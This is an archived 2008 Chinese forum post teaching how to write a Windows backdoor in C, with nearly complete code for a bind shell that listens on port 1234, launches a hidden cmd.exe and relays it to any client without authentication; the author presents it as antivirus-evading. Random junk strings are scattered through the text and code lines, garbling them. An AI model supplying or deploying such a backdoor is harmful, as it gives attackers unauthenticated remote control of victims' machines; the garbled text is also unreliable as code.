我爱电脑技术论坛's Archiver

tianshiren 发表于 2008-6-4 11:49

编程实现远程Shell的获取

很多朋友都对远程的Shell获取感到很好奇吧?下面我就给出一个C语言版本的服务器端程序,别看这个程序小,它就能实现Shell的获取,而且程序非常简单,看了此文,相信你写一个自己的Shell绝对不是问题——这可是自己写的不被杀的哦! }qT0DtR/mq6Hj

,Y2I_&tv3S
?X$FP/If-|[2{^ 头文件和基本参数定义2Y!q'PxPNS
在程序的开始部分,我们应该将如下的头文件包含进来:程序中用到了Strcat()字符串处理函数,所以包含了String.h;这个程序中使用了Winsock编程的技术,当然Winsock2.h也必不可少了:
^iq8a&\ c #include <stdio.h>
yOA[CX R,?iG #include <string.h>
HQ@[ I oo+\ #include <winsock2.h>
H$EK}C0R 接下来这一句是为了使用Ws2_32.lib中定义的网络通信函数:
C;W _ jiJ:` stw&|M #pragma comment(lib, "ws2_32.lib") eRL)zSgw
为了打开端口进行通信,我们这里随意指定一个端口1234,做为服务器端监听的通信端口,一旦有对1234的连接请求,服务端就可以进行一些相应的处理了:7r\ M6waj7X7PS
#define PORT 1234 W8Q1T F*aTU
下面就是一些最普通的全局变量声明了:ServerSocket是服务端使用的套接字,ClientSocket是客户端使用的套接字。为了从匿名管道中进行读写操作,还声明了四个句柄,其中hReadPipe和hWriteFile是为线程处理函数ThreadFuncRead服务的,而另外两个则是为线程处理函数ThreadFuncWrite服务的。因为后面我们要通过使用WriteFile和ReadFile往通信缓冲区中写入和读取数据,所以这里命名时使用了File,希望读者能够看明白。为了使程序能够判断服务端程序是否还处在正常的工作中,还定义了两个变量varRead和varWrite,当这两个变量都为1的时候,程序就认为管道读写的两个线程函数都已经准备好,才会继续下面的操作:!Hgi oZ"hSX
SOCKET ServerSocket = INVALID_SOCKET;
&A|"gC"ET@ SOCKET ClientSocket = INVALID_SOCKET;
k(tU]?Z^ ~+gE HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;!~x1i9O} O
u_char varRead,varWrite;
VM4GO&uCx
8RRk$VR$N\ Socket:管道是Windows系统的一种简单的进程间通讯的机制,分命名管道和匿名管道两种。命名管道可以在同一计算机上不同进程间使用,匿名管道只能用于父子进程间或是有同一父进程的两个子进程间通讯。由于本文的程序用CreateProcess创建了一个Cmd.exe(它就是程序的子进程),因此可以使用匿名管道通讯。通常,为了编程的简单起见,我们也都是使用的匿名管道技术。
\X^(m6C!Ck3[-W
L8TC5d6lS5e4q 给管道赋值并实现数据处理'I%D|9g8v D W
下面的这个线程函数专门负责给hReadFile管道句柄赋值,通过它可以从管道中读取数据。它的工作过程是这样的:首先,创建一个匿名管道,如果创建成功,就将varRead赋值为1,接下来就是从网络通信的客户端接受数据,并将这个数据写入hWriteFile中,从而给第一个用到的匿名管道写入数据。E;Y(a.DV [+KxPs
我们来看一下程序:_Z.Jt w$G4s
DWORD WINAPI ThreadFuncRead( LPVOID lpParam )D9b f^$P@ p/U K8^ ID*f
{Z_3zz#U p0E+mI Y
//声明一个安全属性结构变量c[b F+O W
SECURITY_ATTRIBUTES pipeattr;
C1m9a Su On$S DWORD nByteToWrite, nByteWritten;|:d0Q2s1N+w7|J
char recv_buff[1024];
8U Ph{5zc7e+vfMe int nRetCode;
4K0q~!b"su&K*Bs}_ //对pipeattr的各个成员进行赋值3o k5o~ynO;v
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);XwbK-Mx
pipeattr.lpSecurityDescriptor = NULL;
O-`|;wO2O%?DE pipeattr.bInheritHandle = TRUE;&nk1Rbo9J`M
//创建一个匿名管道,并使用上面的安全属性结构变量pipeattr为管道的安全属性
9R_}!Ta //其中hReadPipe是用来从管道中读取数据的管道句柄
\+XV0[ r&N+t/[ //hWriteFile是向管道写入数据的管道句柄q G#NU3D'Fx@l
nRetCode = CreatePipe(&hReadPipe,
8_3OQ&o)k &hWriteFile,0u8D/v#P{Hw m
&pipeattr,
oTx6D9ltS4l T8[ 0);;b o'a'z g]
//判断管道是否创建成功 u'n%V+L2bL
if (nRetCode == 0)H/h2u ]2yq
{1X/TW}OX7[1E
printf ("CreatePipe readpipe Error!\n");
#\&f!f'U.RH-p*n exit(-1);/DRuso4Ux
}
*l;Z)X"un //如果管道创建成功,就将varRead赋值为1
$ZC"A;S` varRead = 1;
Xrlp| //得到当前进程的路径,当有用户连接上时就会显示出来2ti)n W+{^0k
char curDirBuff[256];
Pqz9Dg DWORD nDirLength=0;2Te%I IM;g
nDirLength = GetCurrentDirectory(256,curDirBuff);#JwwVgK8nE@d
curDirBuff[nDirLength]='>';
g;l8lUj L#q$ZF nRetCode=WriteFile(hWriteFile,)B-F,x3tFh)y1yhATf$O
curDirBuff,
mB#h }z7Igs] nDirLength+1,
3KBG6of(] &nDirLength,A] |:R6j(i3GV
NULL);
|$S!\'H_ f.d //使用一个无限循环,来从客户端接收数据,并写入管道K!a(a%y5G(E(G9U,m
while(true)
s3Ew:N;|%_6C1F|d&k {
p,gbC+D dc1EV Sleep(250);
S j6I6n~:cy$X5s1HDB //从客户端接收数据,数据写入缓冲区recv_buff中A"^3fK;T1C
nByteToWrite = recv(ClientSocket,
s'a[9Z?!J:D+HG recv_buff,
c Lt|4Wl 1024,
E+W%ZJ!kC RE 0);
r"r#EGz //使用WriteFile向句柄hWriteFile中写入数据,这个管道中的数据可以通过h5rS7f&FsG\B+M
//hReadFile管道句柄读取,而hReadFile是全局变量,则在程序中的任何地方`4JP2y+EC
//都可以访问到
zE.mF&nrr9jP vnY| nRetCode = WriteFile(hWriteFile,
5[%i9y$B_![.t recv_buff,w&P(h ~wx
nByteToWrite,)c+OV#T\S W`
&nByteWritten,b PR)W(D3i
NULL);-D9UO8zcv
}
ZvS:F;UB1rw return 0;
XAd{1cxI }
&f|3V0U7oL9hj
M]}/C }Fv Socket:上面这个程序使用了如下的结构体:$m5v1J DO'I#T2P
typedef struct _SECURITY_ATTRIBUTES { // sa }7Ja {UWcFB
DWORD nLength; //指定结构体的长度 O!L(I1tT W
LPVOID lpSecurityDescriptor; //指向安全描述符的指针,如果赋值为NULL,就3Q*@Zj4]
//默认继承创建它的父进程的安全属性
Q-g+b~&d BOOL bInheritHandle; //如果这个属性是true,这个对象的子对象就会
jp[I k D //默认继承它的安全属性
o$V'weJ-z"M } SECURITY_ATTRIBUTES;
].C8k`F/H }wL+R\q&o
接下来的线程处理函数,实际上是通过使用另一个匿名管道,将要发送的数据先通过hReadFile管道句柄从一个管道中读出,放入缓冲区send_buff,再通过send函数将数据送出至客户端:
%gQ9o BD-H DWORD WINAPI ThreadFuncWrite( LPVOID lpParam )
P6I&H7KgyS { q0Vu'qEBp
//同样是先来声明一个安全属性变量pipeattr
)@_e _ Q9v^ SECURITY_ATTRIBUTES pipeattr;
-N1D \ fe P#\] DWORD len;
S8o msMzm7Xl$P int nRetCode;"W"|1K"ZB3\.EFC k
unsigned long nCount;8g:y$n}p%WA
unsigned long nAvail;
k8k-r!t!PU char send_buff[25000];
U9E?Ww{Tb F8@Z9s ZeroMemory(send_buff, 25000);
:U E1w p~)JQ0m //对安全属性变量赋初值
c;~+CW9i ?w rP pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);g[3caV`^7Iz
pipeattr.lpSecurityDescriptor = NULL;
FP a8\`t:wd9C pipeattr.bInheritHandle = TRUE;pTsl#m-x,|
//创建另外一个匿名管道,其使用的参数与上面一个线程函数处相同
}*n(? o"_y` _KS8` nRetCode = CreatePipe(&hReadFile,.y H liy'~']6C}
&hWritePipe,
r8J$v L3L8j Q &pipeattr, l(cc"Xul#HE
0);
Gi'~:m%K#Yg%j //如果管道创建失败,就返回"|1A sDN5b6{B-Eh
if (nRetCode == 0)
bSyWz6@&wKs {A0HP'pyX?v
printf ("CreatePipe writepipe Error!\n"); GN"V7o?y;r
exit(-1);,m&CC1^bn$Z u
}
a:K1k Wi`Y#Dx3G$D //管道创建成功,将varWrite赋值为1
tt O9u i:zST7J#A*fN varWrite = 1;@6?4T]~Hf,KZ5{
//进入一个无限循环,每隔250ms就尝试从上面的这个匿名管道中读取数据,如果GVk+S3W-cx8B;j
//管道中存在数据,ReadFile()函数通过hReadFile就可以读到数据,而且当且仅
PN!T|1z~\QG$J //当读到了数据,服务端才会向客户端发送数据。
Lm*J2?u2A.V\ while (true) S&JB6DO7]`
{&j,j2R+X7ZKFc+z%w
Sleep(250);+N9ym9l'R3g0Jt
//尝试从hReadFile中读取数据,数据长度放入len'rljO*AW0C/w!G-^t
ReadFile(hReadFile,-S.c"_/Tz2X/q
send_buff,
2@4nG4S OE1p2] 25000,F%H |)m7DR3|
&len,
c U$P,KBFT+yg g RP NULL);e?cJ"P/H
//只有数据长度len不为0时,才有必要向客户端发送数据
t[?OO'm if (len != 0)
/wy4@eza {+P!Ax _ @P @5d
send(ClientSocket,|,N*U$ZR,o
send_buff,!X7Y}b!c(x
len,fQ-bd6f0P`3m-L
0);jH O|j MU(k
}
X8p.`^0H#U }
:l\5ryO'ga#J return 0;f(S3z.Sw)BQ
}w rj3}9{I1q
J^xpL
实现与CMD的通讯的必备结构体
RP$s_G e(q1N 有了上面两个线程处理函数,我们就可以在Main函数中方便的与Cmd进行通信了。程序中用到了一些结构体,我们先来熟悉一下。'G PM6F.H0Z~
首先是struct sockaddr_in:g4S5M u bQ-E t9c
struct sockaddr_in{&\'I"I-wit
short sin_family; //指定协议家族,必须使用AF_INET
4K-h1UL3gy unsigned short sin_port; //指定端口
(HDo[HM ed struct in_addr sin_addr;//指定IP地址等信息,hFH+V*}-\S1S
char sin_zero[8];//用零补足,使之与SOCKADDR大小一致mo?u&Gc"Dbx
}; f)B br y
接下来看一下结构体OSVERSIONINFO,定义如下:_9|a;C5r|a
typedef struct _OSVERSIONINFO{ @0lt5D;j7oCy
DWORD dwOSVersionInfoSize;
x t-f pw&J'?'c8n`"B3b1[ DWORD dwMajorVersion; /{yB'r4Ug1`
DWORD dwMinorVersion; Z5G*hf-E5q5QM
DWORD dwBuildNumber; )A;|v$h~6@DV
DWORD dwPlatformId; 2~t5W _ sx
TCHAR szCSDVersion[ 128 ]; v"u[4Y(vu rx z
} OSVERSIONINFO; u"ei`2nz ka'ora!N

Txc:E O7Q 这OSVERSIONINFO的成员中,我们关心的是dwPlatformId。如果系统是Windows3.1,那么dwPlatformId的值是VER_PLATFORM_WIN32s,对应枚举值的0;如果是Windows 95 or Windows 98,那么dwPlatformId的值是VER_PLATFORM_WIN32_WINDOWS,对应于枚举值1;如果是Windows NT,那么dwPlatformId的值就是VER_PLATFORM_WIN32_NT,对应于枚举值2。如果你还需要判断打了SP几的补丁,那么你可以判断一下szCSDVersion[128]的值,这里笔者就不判断了。
%AsJI!m u|*jg_Al&Q&{0c
Socket:我们在实际情况下之所以要对它进行判断,是因为在Windows 95/98的系统中,命令行的可执行程序的名称为Command.exe,而到了Windows 2000以后,已经变为了Cmd.exe了,而这个可执行程序恰恰是程序在重定向中需要用到的。L3Ug!j#Ch$N
'qK8@H%QD m:ql.bn
接下来还有一个重要的结构体PROCESS_INFORMATION,这个结构体跟很多人肯定是很陌生的,我们看一下:w*C E kU
typedef struct _PROCESS_INFORMATION { // pi (_:bG9myQP
HANDLE hProcess; //指向新创建进程的句柄N,h/? v i-l_
HANDLE hThread; //来创建新进程的那个线程的句柄
4sPSG2TB_ DWORD dwProcessId; //新创建进程的标识符H y8i'y u'|
DWORD dwThreadId; //来创建新进程的那个线程的标识符
+w0c8h,f;ej2x } PROCESS_INFORMATION; *}r${JJ%t6Xx
还有一个重要结构就是STARTUPINFO,这个结构用来给使用CreateProcess创建进程时传递进程启动信息,而且几乎所有的黑客程序都会用到它。我们来一起看一下这个结构:
Fr.pM"x;a3q;o typedef struct _STARTUPINFO { // si 9iWQ3Y?(yRz6o
DWORD cb; ON/Q(k*x&JF8g~M`
LPTSTR lpReserved;
!h9i0~O^ LPTSTR lpDesktop; seWO7z~gLNZ0]
LPTSTR lpTitle; x^v Pm9hi
DWORD dwX; ,AK n)Rb~2}_7N&_ X
DWORD dwY;
4\@c ` [L DWORD dwXSize; gl3C:~ ~.E
DWORD dwYSize;
.w%q+xk;E DWORD dwXCountChars;
8`jIV$p%Sk DWORD dwYCountChars; &bV7Sl7~;R'J
DWORD dwFillAttribute;
2vau{0K-P DWORD dwFlags; 4Qf8j4OY2G
WORD wShowWindow; //作用于进程的窗口是否显示N|,~yY p8V-\3Ms
WORD cbReserved2; -|:UCL5v`~
LPBYTE lpReserved2;
-~:u8Uh4q)yz0H HANDLE hStdInput; //向进程输入信息的句柄v0A2@g{`1DI$t4W9RR
HANDLE hStdOutput; //从进程读到输出信息的句柄
P9rCzv\4E-C-J)s HANDLE hStdError; //进程报告错误信息的句柄:X3Ak)H7F'kf
} STARTUPINFO, *LPSTARTUPINFO;
4Z3wP#ZKg2g 显然,上面这个结构中,我们最关心的莫过于wShowWindow,hStdInput,hStdOutput和hStdError这四个成员了。其中,我们在写后门程序时,肯定不会希望自己开启的Cmd的窗口被显示出来,那么wShowWindow属性就要赋值为SW_HIDE。为了向Cmd输入信息,我们就要使用全局变量hReadPipe向hStdInput进行传输了。显然,要从进程中读出输出信息,要使用全局变量hWritePipe来从hStdOutput中读出。另外,对于进程的错误信息,我们希望将这些信息也传送到客户端,当然也要通过hWritePipe来完成。
;n0f.n RPK-b5U
Lbb yd%tT3n#L 实现与CMD的通讯
m2f*f"{E Nm k@gg 通过对上面基本结构体的了解,大家已经知道我们相关的大体流程了吧?下面来一起看一下程序吧,这样更清晰:E9} _ i1Z
void main(void)-dn:|oH:H
{$|hD$c:?8}.hB
WSADATA WSAData;
i+I5E ^G1d)I}N struct sockaddr_in RemoteAddr;
E sOnMZ_ int nRetCode;7@y u:o kY5G _
DWORD dwThreadIdRead,dwThreadIdWrite,dwThreadParam=0;
z3f q.O[bQd0a#Ne6r OSVERSIONINFO osvi;&P0^Oel5Z f
PROCESS_INFORMATION processinfo;
7~3m4Y,O^F#Lv+\ STARTUPINFO startinfo;%z3_M/j?V2J
//这里通过WSAStartup函数的调用,来初始化对WS2_32.dll的使用。这里使用,xu2uJ$e8Ra~
//MAKEWORD(2,2)来声明一下使用windows sockets2.2的版本。如果函数调用成功,6ck.|5d}'A]
//返回值为0。
e4f7NL#^4\"m T nRetCode = WSAStartup(MAKEWORD(2,2),&WSAData);C3^(ob"I~
if (nRetCode != 0)
n;E^%\/S~8y3[ {2Z|3w b5Se&xwCE
printf ("WSAStartup Error!\n"); C)\II[z*s
return;F)Q7X L!f
}
?SG6U~L3` Pi#K //定义一个服务端通信的套接字,协议家族使用AF_INET,通信协议为面向连接的$Nls[2d
//TCP协议。
b+u3dn%g}U.z ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
8En$V$[,ZC if (ServerSocket == INVALID_SOCKET)5X,P3yX[@$T9@
{
[&^nA:e9x/s9v printf ("Socket error!\n");
S+F8itV0C return;
Cjx]0F w_1D7p }XKsg-f X6w N/q:u
//使用TCP协议进行通信之前,需要绑定一个端口,并指定要通信的IP地址,这里 //我们使用INADDR_ANY,也就是说允许任何IP地址进行连接。
*s7O6W\X@c-P0uL RemoteAddr.sin_family = AF_INET;
/c'Z:O B3GFe{"YH RemoteAddr.sin_port = htons(PORT);
cTt8cK RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;SN/T6m*c
//将服务端的套接字与上面的这个结构变量绑定在一起。
AY4~g6wX\i nRetCode = bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));&E+f7iyJ6\1`
if (nRetCode == SOCKET_ERROR)
'~[K)S-YI.Z&b` {
Hf4y2B$f\S)ut:J printf ("Bind Error!\n");
bS MSag+T*S return;-Z@ o:`5Ym3n
}
z]Sqb //使用listen监听在此套接字上的第一次握手的连接请求。
4l"gz9g k nRetCode = listen(ServerSocket, 5);(_"s.WZv6V'Sv
if (nRetCode == SOCKET_ERROR)6fsi6m)~hgu
{
\K c)uN's3v printf ("listen Error!\n");
9r;j9F4YR:I$@+X9b return;1kQU r3{5YE D.Pxe
}
O*nX3K x1C,K //在开启读写线程之前,对它们用到的变量赋初值。
o4N dt"J] q}$Nw varRead = 0;,l_&f7dp,o;?
varWrite = 0;
vq i#Jr,vr+X$^ //第一次接收服务器端的初始化信息,以显示进程的当前目录
QI/e*i;q{Q{ ClientSocket = accept(ServerSocket, NULL, NULL);
d$fRT Gv if (ClientSocket == INVALID_SOCKET)1@Z$L Vn R?:V
{1u3v2X8D*_
printf ("Accept Error!\n");D)lvf(oS1eW7N$Aw
return;$\B{GU+j,H`bLC5F
}
5h[%Fv;D //开启读线程
r\ oIkV,t if (CreateThread(NULL, 0, ThreadFuncRead, NULL, 0, &dwThreadIdRead) == NULL)
f%q:@C})g {TN}IS!N
printf ("Create Thread ThreadFuncRead Error!\n");
"ziH:_CJ return ;#J3^)]yKi\e`
}
/q7R g8PD4XF/b //开启写线程
0AX"J:` ]FI#G if (CreateThread(NULL, 0, ThreadFuncWrite, NULL, 0, &dwThreadIdWrite) == NULL)C;A+Crqs^;C6Xnp
{,B!cFV:X@HJ
printf ("Create Thread ThreadFuncWrite Error!\n");
1MY.~[7On F return;b^#cz$FE9D;@-IH1\
}
emOEc"L+Gj R(]5aq ] //使用循环阻塞,等待读写线程的就绪
$eQ\2bsWt1g#m0W do
1IedbN| Z B {
|Zwc&L Sleep(250);Y ^X@V$l
}while((varRead || varWrite) == 0);h vR0uk9VF
//得到当前进程的进程启动信息
PsO6mb5j9g8a#R GetStartupInfo(&startinfo);X(O5X+G r
//对其中某些属性进行调整,并继承那些不做调整的属性
?fh'`r startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;+R9UDFmQ
startinfo.hStdInput = hReadPipe;
CRP#r)}Ed\:r startinfo.hStdError = hWritePipe;cp5u dpR
startinfo.hStdOutput = hWritePipe;&`}'d#uLg;oK;L
startinfo.wShowWindow = SW_HIDE;
.i;n8IjvnC#qO do;Y //在使用osvi得到操作系统信息时,要注意一定要先初始化这个大小变量Z Q$b7vq/_
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h s0T;b o
//得到操作系统版本信息,放入结构变量osvi中。
/s#Q7k@)yN GetVersionEx(&osvi);
]r8zXznw"MD0y /*得到Cmd.exe所在的系统目录的全路径名*/
G8OU4{3\ Jh:F char DirSys[256];
B'i0[Q J8r3z"c7Hr,K ::GetSystemDirectory(DirSys, 256);
O*{8N|DA(w'? strcat(DirSys,"\\Cmd.exe");
0h!X*x3h&@a` //如果dwPlatformId值为2,说明操作系统是NT以后的版本的操作系统
-]*a:n c~ ^5n if(osvi.dwPlatformId == 2)5wqk;j {g;Q
{
(?5`m{.t N if (CreateProcess(DirSys, NULL, NULL, NULL, TRUE, 0,
$~0~:` m(n8D NULL, NULL, &startinfo, &processinfo) == 0)
N+F4|;hGM E)m9J {.ci/FZea?
printf ("CreateProcess Error!\n");
v7VvL[ return;
Hs,I P3X;J7a }
D.b;N7b f/M,_ }
|v/N)A`+{1dya else
_w5|5C5F c {
/@j)sXL H1JF3fY(F-P2u7K CreateProcess(NULL,
4[4b*G-q"PS B "command.com",f[ G+tg
0,3spi4Q2`BDz
0,
Vg"^-u_R8J&d w true,)Pb9A/S f'p"[Z|(o
0, OGqQ,D3d
0,8p kbU}8z4I-Xy4Y#J
0,
G"} V#CX6E)Rrfr7W%L &startinfo,
q4e/{?3lW} &processinfo);
2{Ry7WI%T4KI C }(D^$^(Q;B$_?
//同样是使用无限循环,来接收客户端的通信请求,从而进行数据的交互
5L*N)I\z#p8` while (true)\A+ND c
{4]~$S6yGkdL
ClientSocket = accept(ServerSocket, NULL, NULL);
#ak V.F,WP|,Oy if (ClientSocket == INVALID_SOCKET)
rfZy5\ C {(RN"]R.m4B
printf ("Accept Error!\n");
v|&|1\6C0n-zH-WM return;
Kw"`3{0m n?.v*vPM }
W OT1Zhq Sleep(250);
Kv+s'?6_O*b:S }
'@#RB3gC"B%b }gMbh|:s"f u

!g Do w$AK] 好了,通过以上的步骤这个Shell就写成了。这个程序开启了机器的1234端口。没有给出客户端代码的编写,读者可以在开启服务端后,通过使用Telent <IP> 1234来得到服务端的Shell。这个程序中没有指定通信的密钥,这样会导致后门程序不能被专用,不过,如果自己来写一个客户端程序来跟这个服务端进行一个通信的交互后,用户就可以随心所欲的指定密码了。)?%B0m.@tq6rfY
相对来说,这个程序没有采用太多复杂的编程方法,主要也是考虑到新手朋友的接受程序,有兴趣的读者可以自己查阅一下相关的资料逐步提升自己的编程能力。

隨風 发表于 2008-6-4 14:09

努力来菜鸟区学习!

页: [1]

Powered by Discuz! Archiver 6.1.0  © 2001-2007 Comsenz Inc.